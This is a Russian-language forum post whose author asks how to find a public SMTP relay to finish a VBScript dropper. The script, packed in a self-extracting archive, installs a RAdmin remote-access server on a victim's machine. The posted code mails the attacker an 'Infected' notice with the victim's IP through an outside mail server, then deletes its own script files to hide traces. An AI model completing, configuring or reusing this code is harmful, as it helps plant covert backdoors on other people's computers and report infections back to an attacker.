LamoSS
Сообщений: 15
Оценки: 0
Присоединился: 2007-12-17 22:43:51.056666
|
Добрый вечер!
Возник вопрос, как узнать DNS-Name, SMTP-Relay Сервера?
Желательно чтобы это был общедоступный почтовый сервер (мэйл, гмэйл, яндекс и прочие), или тогда просьбу объяснить, как настроить свой.
Мне это нужно для следующего сабжа.
Это кусок *.vbe скрипта, запакованного в SFX архив, и создающего сервер для RAdmin'a
По идее, при успешном выполении его на машине, должно отправляться письмо.
Но без ДНС оно не отправится.
А может быть, есть какой-то более просто способ?
Но в любом случае, основной вопрос - наверху болдом.
frm = "email@email.ru" 'откуда
kom = "email@email.ru" 'куда
srv = "DNS-Name" 'Вот здесь должен быть ДНС-Name СМТП Сервера
Set objEmail = CreateObject("CDO.Message")
objEmail.From = frm
objEmail.To = kom
objEmail.Subject = "Infected"
objEmail.Textbody = "Computer "& IP &"infected successfully!"
objEmail.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objEmail.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserver") = _
srv
objEmail.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.Update
objEmail.Send
fso.deletefile("*.vbe")
fso.deletefile("*.txt")
wscript.quit(0)
|
DNS SMTP-Relay Сервера - 
